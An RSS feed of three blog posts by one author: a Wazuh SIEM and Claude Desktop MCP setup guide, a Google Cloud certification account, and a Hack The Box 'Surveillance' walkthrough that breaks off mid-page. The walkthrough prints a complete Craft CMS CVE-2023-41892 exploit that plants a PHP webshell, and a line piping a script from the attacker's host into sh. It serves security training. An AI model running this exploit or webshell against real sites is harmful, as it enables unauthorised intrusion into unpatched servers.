<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by iamblacklight on Medium]]></title>
        <description><![CDATA[Stories by iamblacklight on Medium]]></description>
        <link>https://medium.com/@iamblacklight?source=rss-9123900415e1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*VxBMQYqJ7SR8SmMilhFvKQ.png</url>
            <title>Stories by iamblacklight on Medium</title>
            <link>https://medium.com/@iamblacklight?source=rss-9123900415e1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 13:39:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@iamblacklight/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Bringing AI to SIEM: My Experiment with Wazuh MCP Server and Claude Desktop]]></title>
            <link>https://medium.com/@iamblacklight/bringing-ai-to-siem-my-experiment-with-wazuh-mcp-server-and-claude-desktop-09f2aa15165d?source=rss-9123900415e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/09f2aa15165d</guid>
            <category><![CDATA[siem-engineering]]></category>
            <category><![CDATA[mcp-server]]></category>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[claude]]></category>
            <dc:creator><![CDATA[iamblacklight]]></dc:creator>
            <pubDate>Sat, 02 Aug 2025 13:39:02 GMT</pubDate>
            <atom:updated>2025-08-02T13:48:53.318Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BeejVEmePcyXuEWLm55kLQ.png" /></figure><blockquote>💡 This project began with a thought — “what if we could use natural language to triage SIEM alerts &amp; perform threat hunting in the SOC?”</blockquote><p>I have experience using both enterprise grade &amp; open source SIEM tools and I have a couple of thoughts considering the current era of AI:</p><ol><li>The nature of the open source community will mean someone has already thought along those lines and we just need to piece together existing projects. In today’s world of AI, interaction with complex systems using natural language is very commonplace.</li><li>We could integrate open source projects with enterprise environments so we can have detailed control over the interactions. However, this raises concerns over privacy, data leakage and if the enterprise-grade tools permit such integrations under acceptable use.</li><li>Final thought, as at this time of writing, many enterprise grade SIEMS do not yet have natural language triaging features built in, but I am absolutely certain they have it in development and will be rolled out soon. I predict it would come with the higher priced licenses to augment the cost of that level of integration.</li></ol><p>This project rests upon my first line of thought. I decided to attempt connecting a Wazuh MCP server to Claude Desktop and use natural language to interact with Wazuh.</p><h3>Requirements</h3><ul><li>An Ubuntu 24.04 endpoint. This endpoint will host Wazuh’s central components (Wazuh server, Wazuh indexer, Wazuh dashboard). We will also install Claude Desktop and set up an MCP server on this endpoint.</li><li>Another Ubuntu 24.04 endpoint. The Wazuh agent will be installed here and we will use Atomic Red Team to simulate MITRE ATT&amp;CKs.</li></ul><h4>Configuring the Wazuh Server</h4><p>We will install Wazuh using the quickstart installation method on the first Ubuntu endpoint:</p><p><a href="https://documentation.wazuh.com/current/quickstart.html">https://documentation.wazuh.com/current/quickstart.html</a></p><p>Before kicking off this method make sure curl is installed:</p><pre>sudo apt install curl</pre><p>Now, use curl to download the installations script and install:</p><pre>curl -sO https://packages.wazuh.com/4.12/wazuh-install.sh &amp;&amp; sudo bash ./wazuh-install.sh -a</pre><p>Once the installation is done, the output will show the dashboard credentials and a message that installation was successful:</p><pre>INFO: --- Summary ---<br>INFO: You can access the web interface https://&lt;WAZUH_DASHBOARD_IP_ADDRESS&gt;<br>    User: admin<br>    Password: &lt;ADMIN_PASSWORD&gt;<br>INFO: Installation finished.</pre><p>Open your browser and log into the Wazuh dashboard using https://&lt;WAZUH_DASHBOARD_IP_ADDRESS&gt;. It should be https://localhost. Use the username and password gotten during installation.</p><blockquote>💡 You can find the passwords for all the Wazuh indexer and Wazuh API users in the wazuh-passwords.txt file inside wazuh-install-files.tar.</blockquote><blockquote>To print them, run the following command:</blockquote><pre>sudo tar -O -xvf wazuh-install-files.tar wazuh-install-files/wazuh-passwords.txt</pre><blockquote>Save them somewhere, as we would be needing them later on.</blockquote><p>It’s recommended to disable Wazuh updates to prevent accidental upgrades that can break the environment:</p><pre>sudo sed -i &quot;s/^deb /#deb /&quot; /etc/apt/sources.list.d/wazuh.list<br>sudo apt update</pre><p>Install net-tools so you can get the IP address for this machine</p><pre>sudo apt install net-tools</pre><p>Check and note the IP address:</p><pre>ifconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*jwWuwlw1PS4mI9j5N7x0hg.png" /></figure><h4>Configuring the Ubuntu Endpoint</h4><p>On the second Ubuntu endpoint, we would be installing the Wazuh agent which would respond to the dashboard. Once again, first, install curl:</p><pre>sudo apt install curl</pre><blockquote>💡 Note that you need sudo privileges before you can follow the steps in the official documentation.</blockquote><blockquote>Install net-tools so you can get the IP address for this machine as well</blockquote><pre>sudo apt install net-tools</pre><p>Official documentation:</p><p><a href="https://documentation.wazuh.com/current/installation-guide/wazuh-agent/wazuh-agent-package-linux.html">https://documentation.wazuh.com/current/installation-guide/wazuh-agent/wazuh-agent-package-linux.html</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/0*nV3UpE-wFLV874sl.png" /></figure><ul><li>Install the GPG key:</li></ul><pre>curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import &amp;&amp; chmod 644 /usr/share/keyrings/wazuh.gpg</pre><ul><li>Add the repository:</li></ul><pre>echo &quot;deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main&quot; | tee -a /etc/apt/sources.list.d/wazuh.list</pre><ul><li>Update the package information:</li></ul><pre>apt-get update</pre><ul><li>Now deploy the Wazuh agent. Make sure to edit the WAZUH_MANAGER variable to contain the IP address of the Wazuh manager noted in the previous section</li></ul><pre>WAZUH_MANAGER=&quot;10.0.0.2&quot; apt-get install wazuh-agent</pre><ul><li>Enable and start the Wazuh agent service</li></ul><pre>systemctl daemon-reload<br>systemctl enable wazuh-agent<br>systemctl start wazuh-agent</pre><ul><li>Once again, disable Wazuh updates to prevent accidental upgrades:</li></ul><pre>sed -i &quot;s/^deb /#deb /&quot; /etc/apt/sources.list.d/wazuh.list<br>apt update</pre><h4>Installing Atomic Red Team</h4><p>We will use Atomic Red Team to simulate MITRE ATT&amp;CKs and generate logs that will be ingested into the Wazuh server.</p><ul><li>Install PowerShell on the Ubuntu server. I used the direct download method.</li></ul><p><a href="https://learn.microsoft.com/en-us/powershell/scripting/install/install-ubuntu?view=powershell-7.5">https://learn.microsoft.com/en-us/powershell/scripting/install/install-ubuntu?view=powershell-7.5</a></p><p>Next, check Ubuntu version</p><pre>lsb_release -a</pre><p>Current PowerShell version available for my Ubuntu version is 7.5.</p><p>So, I run this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EXnspQ5O1cg9u6F9btNm7w.png" /><figcaption>Code here: <a href="https://ray.so/WHxTOJo">https://ray.so/WHxTOJo</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*XRbHMFe_rooh7hPgm3BbxA.png" /></figure><ul><li>Install “Invoke Atomic-RedTeam”</li></ul><p><a href="https://github.com/redcanaryco/invoke-atomicredteam/wiki/Installing-Invoke-AtomicRedTeam#install-execution-framework-and-atomics-folder">https://github.com/redcanaryco/invoke-atomicredteam/wiki/Installing-Invoke-AtomicRedTeam#install-execution-framework-and-atomics-folder</a></p><pre>IEX (IWR &#39;https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1&#39; -UseBasicParsing);<br>Install-AtomicRedTeam -getAtomics</pre><blockquote>💡 In order make the Invoke-AtomicTest function available for use in your current PowerShell session you must import the module. This is done automatically for you in the PowerShell window where you installed the execution framework, but in the event that you start a new PowerShell window, you will need to re-import the module.</blockquote><pre>Import-Module &quot;C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1&quot; -Force</pre><p><strong>Note the path to the psd1 file, for me it is:</strong></p><pre>Import-Module ./AtomicRedTeam/invoke-atomicredteam/Invoke-AtomicRedTeam.psd1 -Force</pre><ul><li>Invoke test</li></ul><p>Turn on the Wazuh server while running these commands on this Ubuntu endpoint with the Wazuh agent. We need to use Linux specific Atomic tests sorted here:</p><p><a href="https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/linux-index.md#linux-atomic-tests-by-attck-tactic--technique">https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/linux-index.md#linux-atomic-tests-by-attck-tactic--technique</a></p><p>We can use two tests: T1562.003 — Impair Defenses: Impair Command History Logging &amp; T1110.001 — Brute Force: Password Guessing (Atomic Test #5 — SUDO Brute Force — Debian)</p><p><a href="https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.003/T1562.003.md#t1562003---impair-defenses-impair-command-history-logging">https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.003/T1562.003.md#t1562003---impair-defenses-impair-command-history-logging</a></p><p><a href="https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.001/T1110.001.md#atomic-test-5---sudo-brute-force---debian">https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.001/T1110.001.md#atomic-test-5---sudo-brute-force---debian</a></p><p>First, check if the prerequisites are met</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*PPfKMkv85cYOiBc0q-EHGA.png" /></figure><p>Then run the test:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*BCzoya0kmElhz_XBFiqjGw.png" /></figure><h3>Installing and Configuring Claude Desktop &amp; Wazuh MCP Server</h3><p>Going back to the endpoint where the Wazuh server is running, we will install Claude and the MCP server.</p><p>Here are the links:</p><p><a href="https://github.com/aaddrick/claude-desktop-debian?tab=readme-ov-file">https://github.com/aaddrick/claude-desktop-debian?tab=readme-ov-file</a></p><p><a href="https://github.com/gbrigandi/mcp-server-wazuh?tab=readme-ov-file#configuration">https://github.com/gbrigandi/mcp-server-wazuh?tab=readme-ov-file#configuration</a></p><p>However, you can easily install both the Claude Desktop and Wazuh MCP server together using the script in my GitHub repo: <a href="https://github.com/iamblacklight/wazuh-claude-integration">https://github.com/iamblacklight/wazuh-claude-integration</a></p><p>After installing, open Claude Desktop and sign in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*9wZXFTey9zGZpNsNO_jgjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*T4ZFdy55fOBUrRZkhW1EJA.png" /></figure><p>We need to edit the Configuration in the Developer Settings.</p><p>File &gt; Settings &gt; Developer &gt; Edit Config</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*oCwAn-HIOKv06Q6qoemyfg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*1HPeB3KSgrSIo-Bexmb46A.png" /></figure><p>Open the JSON file with a text editor and configure it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q8PQ5opxJl_5cai8_gCefA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j5IpAVPZ5gRBx_nlxlMJ4w.png" /><figcaption><a href="https://ray.so/1bHAX4c">https://ray.so/1bHAX4c</a></figcaption></figure><blockquote>💡 The passwords you need were gotten from the command we ran earlier:</blockquote><pre>sudo tar -O -xvf wazuh-install-files.tar wazuh-install-files/wazuh-passwords.txt</pre><p>It should look something like this after you’re done:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0JFt8kFGVDXJx2bUR_7dow.png" /></figure><p>After configuring it, save and restart Claude Desktop. Returning to Developer settings, we see the Wazuh MCP server is running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*DIrkNyu5EYT0B7g_3SEiQg.png" /></figure><p>You can now ask questions on Claude about the Wazuh SIEM and you’ll get relevant responses. You may be prompted to allow the integration, go ahead:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iby9jE4pECffVm73VYtMgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*svQ9N1YznqKfAGQEid6pyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*6uPQ85AHUWkCiblkU9w-ug.png" /></figure><p>There you have it! We can now interact with the SIEM using natural language. This was a really fun project and I’m looking forward to all the spinoffs from this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=09f2aa15165d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Aced My Google Cloud Associate Engineer Certification]]></title>
            <link>https://medium.com/@iamblacklight/how-i-aced-my-google-cloud-associate-engineer-certification-4263d041b739?source=rss-9123900415e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/4263d041b739</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[gcp]]></category>
            <category><![CDATA[gcp-certification]]></category>
            <category><![CDATA[cloudskillboost]]></category>
            <dc:creator><![CDATA[iamblacklight]]></dc:creator>
            <pubDate>Fri, 21 Feb 2025 15:17:10 GMT</pubDate>
            <atom:updated>2025-02-21T15:17:10.034Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Z5LdLb1ZDivwhSjZ5CvfHA.jpeg" /><figcaption><a href="https://cloud.google.com/learn/certification/cloud-engineer">https://cloud.google.com/learn/certification/cloud-engineer</a></figcaption></figure><h4>Why did I do it?</h4><p>On my journey of deepening my expertise in cloud security, I wanted to get practical experience with the Google Cloud Platform. I saw an opportunity to gain the Google Cloud Associate Engineer Certification and I jumped at it.</p><p>I registered for the Get Certified Program 2024 — Edition 4. The Get Certified program requires a Google Developer Profile. If you don’t already have a Google Developer Profile, you’ll be asked to create one during registration with a Google Account before collecting your current work email and Google Cloud certification preference.</p><p>You can check the program here: <a href="https://cloud.google.com/innovators/getcertified?hl=en">https://cloud.google.com/innovators/getcertified?hl=en</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oFqAQDPiHUWFv0bu7Sf_PA.png" /><figcaption>Get Certified 2025</figcaption></figure><p>I applied and after some weeks, I got a mail stating I was accepted into the program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w2AjpB-e4nhpnqQ43Mo9Gw.png" /></figure><h4>Program Details</h4><p>The program is divided into two stages. When the program kicked off, I participated in 1 full day training (“Stage 1”), and was granted 7 days access to all the learning platforms and training exercises necessary to qualify for Stage 2 of the program. For Stage 1, the classes were not recorded. To qualify for Stage 2, you were to:</p><ul><li>Attend the instructor led training</li><li>Set up your <strong>Google Cloud Skills Boost</strong> Account (formerly known as Qwiklabs)</li><li>Complete the required labs by the given deadline</li></ul><p><strong>Google Cloud Skills Boost</strong> (<a href="https://www.cloudskillsboost.google/">https://www.cloudskillsboost.google/</a>) was critical in attaining the certification because it was basically the training ground for the program. You get access to labs that simulate real-world scenarios and give you experience with the Google Cloud Platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*kPMrvxJVr4Vy-U-s3SHzNQ.png" /></figure><p>To qualify for Stage 2, I had to complete 3 out of 4 hands-on labs. I was able to do so before the deadline and qualified for Stage 2. In this Stage, you get access to the following:</p><ul><li>10-week structured learning program</li><li>Exam guide review sessions with trainers (6 x 1.5 hours)</li><li>Mentor and arcade sessions (3 x 1 hour each)</li><li>Google Cloud Skills Boost credits</li><li>Certification exam voucher (under conditions mentioned during the registration process)</li><li>Access to an online community to connect with others and to receive program updates</li></ul><p>In Stage 2, you get access to 300 Google Cloud Skills Boost credits valid for 6 months. You’d be using those credits to complete the required skill badges needed to qualify for a voucher (I had to complete 5 out of 6). Honestly, getting these weren’t easy to complete because they have something called a <em>Challenge Lab</em> at the end of the list of labs and this one has a limited guide on how to complete it. I spent most of my first few weeks here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zr9zT4UBDd85Ndde1z_CBQ.png" /></figure><p>All exam guide review sessions were recorded. The program gave a suggested learning plan to help maximize the 10 weeks. We also had a workbook that helped put together resources needed to understand a specific topic. For example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vx3LlD9tkT0-7wQq80dGhg.png" /></figure><p>After qualifying and getting my voucher, I fixed my exam date and I began studying.</p><h4>Exam Preparation</h4><p>I found a YouTube video that really helped me: <a href="https://youtu.be/30NX6wNVuzs">https://youtu.be/30NX6wNVuzs</a></p><p>Next, I immersed myself into practice questions. I used this YouTube playlist: <a href="https://www.youtube.com/playlist?list=PLQMsfKRZZviRwqJwNmh1eAWnRMvlrk40x">https://www.youtube.com/playlist?list=PLQMsfKRZZviRwqJwNmh1eAWnRMvlrk40x</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QmvIkk0Y5R6yFa45HFf_bQ.png" /></figure><p>What those questions did was contextualize a lot of the things I learnt into ways it could be asked as questions. Really great resource.</p><p>Also did a bit of ExamTopics: <a href="https://www.examtopics.com/exams/google/associate-cloud-engineer/view/">https://www.examtopics.com/exams/google/associate-cloud-engineer/view/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YqMzAQzrns5NBPGuxADemQ.png" /></figure><p>There are other paid practice questions you can make use of but I honestly didn’t. These are what I made do with and I wrote and passed my exam.</p><p>I hope this helps you get Google Cloud certified as well!</p><p>You can view mine <a href="https://www.credly.com/badges/4a89e508-6662-4f94-8da9-ae406f6f8232/public_url"><strong>here</strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4263d041b739" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Surveillance Walkthrough [Retired]]]></title>
            <link>https://medium.com/@iamblacklight/hack-the-box-surveillance-walkthrough-retired-f78299ac5046?source=rss-9123900415e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/f78299ac5046</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[iamblacklight]]></dc:creator>
            <pubDate>Tue, 28 Jan 2025 12:07:23 GMT</pubDate>
            <atom:updated>2025-01-28T12:07:23.382Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box -Surveillance Walkthrough [Retired]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pAGS7u74sj45-XbNLFmSsQ.png" /></figure><h3>Machine Details</h3><p>IP Address: 10.10.11.245</p><p>OS: Linux</p><p>Difficulty: Medium</p><h4>Enumeration</h4><p>To begin, we use rustscan to find open ports and used aggresive nmap scan to get version details</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*btne_i9CHzd43DivIFl0Eg.png" /><figcaption>Rustscan results</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*7BfB9U5MQ0SF_cFkKQfoPg.png" /><figcaption>nmap scan</figcaption></figure><p>Found port 80 open so I added the IP address and domain to the /etc/hostsfile. Now, we can access the webpage via:</p><pre>http://surveillance.htb/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HtzLf6TA0yLp5UZXPJ7GcQ.png" /><figcaption>Homepage</figcaption></figure><p>Further enumeration of the webpage highlighted a CMS with its version in the source code → 4.4.14</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W1clCWfjfxuWr8-HrCol5Q.png" /><figcaption>Craft CMS Version</figcaption></figure><h4>Initial Foothold</h4><p>Searching online for an exploit for Craft CMS version 4.4.14, we find:</p><pre>https://github.com/Faelian/CraftCMS_CVE-2023-41892</pre><p>It runs an Unauthenticated Remote Code Execution (RCE) on CraftCMS 4.0.0–4.1.14 by deploying a webshell.</p><p>Script: craft-cms.py</p><pre>#!/usr/bin/env python3<br>#coding: utf-8<br><br># Exploit Title: Craft CMS unauthenticated Remote Code Execution (RCE)<br># Date: 2023-12-26<br># Version: 4.0.0-RC1 - 4.4.14<br># Vendor Homepage: https://craftcms.com/<br># Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14<br># Tested on: Ubuntu 22.04.3 LTS<br># Tested on: Craft CMS 4.4.14<br># Exploit Author: Olivier Lasne<br># CVE : CVE-2023-41892<br># References :<br># https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g<br># https://blog.calif.io/p/craftcms-rce<br><br>import requests<br>import sys, re<br><br>if(len(sys.argv) &lt; 2):<br>    print(f&quot;\033[1;96mUsage:\033[0m python {sys.argv[0]} \033[1;96m&lt;url&gt;\033[0m&quot;)<br>    exit()<br><br>HOST = sys.argv[1]<br><br>if not re.match(&#39;^https?://.*&#39;, HOST):<br>    print(&quot;\033[1;31m[-]\033[0m URL should start with http or https&quot;)<br>    exit()<br><br>print(&quot;\033[1;96m[+]\033[0m Executing phpinfo to extract some config infos&quot;)<br><br>## Execute phpinfo() and extract config info from the website<br>url = HOST + &#39;/index.php&#39;<br>content_type = {&#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded&#39;}<br><br>data = r&#39;action=conditions/render&amp;test[userCondition]=craft\elements\conditions\users\UserCondition&amp;config={&quot;name&quot;:&quot;test[userCondition]&quot;,&quot;as xyz&quot;:{&quot;class&quot;:&quot;\\GuzzleHttp\\Psr7\\FnStream&quot;,&quot;__construct()&quot;:[{&quot;close&quot;:null}],&quot;_fn_close&quot;:&quot;phpinfo&quot;}}&#39;<br><br>try:<br>    r = requests.post(url, headers=content_type, data=data)<br>except:<br>    print(f&quot;\033[1;31m[-]\033[0m Could not connect to {HOST}&quot;)<br>    exit()<br><br># If we succeed, we should have default phpinfo credits <br>if not &#39;PHP Group&#39; in r.text:<br> print(f&#39;\033[1;31m[-]\033[0m {HOST} is not exploitable.&#39;)<br> exit()<br><br><br># Extract config value for tmp_dir and document_root<br>pattern1 = r&#39;&lt;tr&gt;&lt;td class=&quot;e&quot;&gt;upload_tmp_dir&lt;\/td&gt;&lt;td class=&quot;v&quot;&gt;(.*?)&lt;\/td&gt;&lt;td class=&quot;v&quot;&gt;(.*?)&lt;\/td&gt;&lt;\/tr&gt;&#39;<br>pattern2 = r&#39;&lt;tr&gt;&lt;td class=&quot;e&quot;&gt;\$_SERVER\[\&#39;DOCUMENT_ROOT\&#39;\]&lt;\/td&gt;&lt;td class=&quot;v&quot;&gt;([^&lt;]+)&lt;\/td&gt;&lt;\/tr&gt;&#39;<br><br>tmp_dir       = re.search(pattern1, r.text, re.DOTALL).group(1)<br>document_root = re.search(pattern2, r.text, re.DOTALL).group(1)<br><br><br>if &#39;no value&#39; in tmp_dir:<br> tmp_dir = &#39;/tmp&#39;<br><br>print(f&#39;temporary directory: {tmp_dir}&#39;)<br>print(f&#39;web server root: {document_root}&#39;)<br><br>## Create shell.php in tmp_dir<br><br>data = {<br>    &quot;action&quot;: &quot;conditions/render&quot;,<br>    &quot;configObject[class]&quot;: &quot;craft\elements\conditions\ElementCondition&quot;,<br>    &quot;config&quot;: &#39;{&quot;name&quot;:&quot;configObject&quot;,&quot;as &quot;:{&quot;class&quot;:&quot;Imagick&quot;, &quot;__construct()&quot;:{&quot;files&quot;:&quot;msl:/etc/passwd&quot;}}}&#39;<br>}<br><br>files = {<br>    &quot;image1&quot;: (&quot;pwn1.msl&quot;, &quot;&quot;&quot;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>    &lt;image&gt;<br>    &lt;read filename=&quot;caption:&amp;lt;?php @system(@$_REQUEST[&#39;cmd&#39;]); ?&amp;gt;&quot;/&gt;<br>    &lt;write filename=&quot;info:DOCUMENTROOT/shell.php&quot;/&gt;<br>    &lt;/image&gt;&quot;&quot;&quot;.replace(&quot;DOCUMENTROOT&quot;, document_root), &quot;text/plain&quot;)<br>}<br><br>print(f&#39;\033[1;96m[+]\033[0m create shell.php in {tmp_dir}&#39;)<br>r = requests.post(url, data=data, files=files) #, proxies={&#39;http&#39; : &#39;http://127.0.0.1:8080&#39;}) #  <br><br><br># Use the Imagick trick to move the webshell in DOCUMENT_ROOT<br><br>data = {<br>    &quot;action&quot;: &quot;conditions/render&quot;,<br>    &quot;configObject[class]&quot;: r&quot;craft\elements\conditions\ElementCondition&quot;,<br>    &quot;config&quot;: &#39;{&quot;name&quot;:&quot;configObject&quot;,&quot;as &quot;:{&quot;class&quot;:&quot;Imagick&quot;, &quot;__construct()&quot;:{&quot;files&quot;:&quot;vid:msl:&#39; + tmp_dir + r&#39;/php*&quot;}}}&#39;<br>}<br><br>print(f&#39;\033[1;96m[+]\033[0m trick imagick to move shell.php in {document_root}&#39;)<br>r = requests.post(url, data=data) #, proxies={&quot;http&quot;: &quot;http://127.0.0.1:8080&quot;})<br><br>if r.status_code != 502:<br>    print(&quot;\033[1;31m[-]\033[0m Exploit failed&quot;)<br>    exit()<br><br>print(f&quot;\n\033[1;95m[+]\033[0m Webshell is deployed: {HOST}/\033[1mshell.php\033[0m?cmd=whoami&quot;)<br>print(f&quot;\033[1;95m[+]\033[0m Remember to \033[1mdelete shell.php\033[0m in \033[1m{document_root}\033[0m when you&#39;re done\n&quot;)<br>print(&quot;\033[1;92m[!]\033[0m Enjoy your shell\n&quot;)<br><br>url = HOST + &#39;/shell.php&#39;<br><br>## Pseudo Shell<br>while True:<br>    command = input(&#39;\033[1;96m&gt;\033[0m &#39;)<br>    if command == &#39;exit&#39;:<br>        exit()<br><br>    if command == &#39;clear&#39; or command == &#39;cls&#39;:<br>        print(&#39;\n&#39; * 100)<br>        print(&#39;\033[H\033[3J&#39;, end=&#39;&#39;)<br>        continue<br><br>    data = {&#39;cmd&#39; : command}<br>    r = requests.post(url, data=data) #, proxies={&quot;http&quot;: &quot;http://127.0.0.1:8080&quot;})<br><br>    # exit if we have an error<br>    if r.status_code != 200:<br>        print(f&quot;Error: status code {r.status_code} for {url}&quot;)<br>        exit()<br><br>    res_command = r.text<br>    res_command = re.sub(&#39;^caption:&#39;, &#39;&#39;, res_command)<br>    res_command = re.sub(&#39; CAPTION.*$&#39;, &#39;&#39;, res_command)<br><br>    print(res_command, end=&#39;&#39;)</pre><p>Run the script against http://surveillance.htb</p><pre>./craft-cms.py http://surveillance.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*RKwD89WFwesDsskn_QJjoA.png" /><figcaption>craft cms exploit</figcaption></figure><p>Now, we have a shell, we will set up an http server to transfer linpeas.sh to the target machine.</p><pre>sudo python3 -m http.server 80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*Y_oUZnqsOPEVGh7RwntSnA.png" /><figcaption>linpeas server</figcaption></figure><p>We use curl to transfer linpeas.sh to the target machine and run it.</p><pre>curl 10.10.14.23/linpeas.sh | sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*fqDRN612cYU64hPdlI8ohA.png" /></figure><p>Running linpeas.sh, we can find a couple of useful information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*s2bDMc4W_jw6SL8e6ROqXQ.png" /><figcaption>Got “ZoneMinder” password: ZoneMinderPassword2023</figcaption></figure><p>We also see an interesting backup file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*s3krz5hkFqC0ZjSqUl5lsA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*OvbmQ-Z-p7BRWtf5LHAyEw.png" /><figcaption>We can also see certain users</figcaption></figure><p>Within the spawned shell, we download the zip file and unzip it to view the contents</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*mr7pcydxreXQyqHt_QO3Fg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*8OWz6FAwy5NRG5fjJXRkSQ.png" /><figcaption>We found a hash for Matthew’s password</figcaption></figure><p>We can identify what kind of hash it is using:</p><pre>https://hashes.com/en/tools/hash_identifier</pre><p>The online tool also decrypted the hash — starcraft122490</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*w20itvNgbzA_wbD4wjpS-g.png" /></figure><p>Remembering we saw port 22 (SSH) during enumeration, let’s connect using matthew’s credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*hLKJTDutk4e7TU6_oXpaLg.png" /></figure><p>Now we can get the user flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*w__kqT14G3bSu0f1vm7fiw.png" /><figcaption>USER FLAG</figcaption></figure><h4>Privilege Escalation</h4><p>Within Matthew’s account transfer and run linpeas.sh like before</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*MXDNMOdNfiaoNdPAkHHTNw.png" /></figure><p>Now, we find a couple of active ports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*SJ566_Ue3T_NcCkDxesXiw.png" /></figure><p>Scrolling downwards, we see that 127.0.0.1:8080is where “zoneminder” runs</p><figure><img alt="" 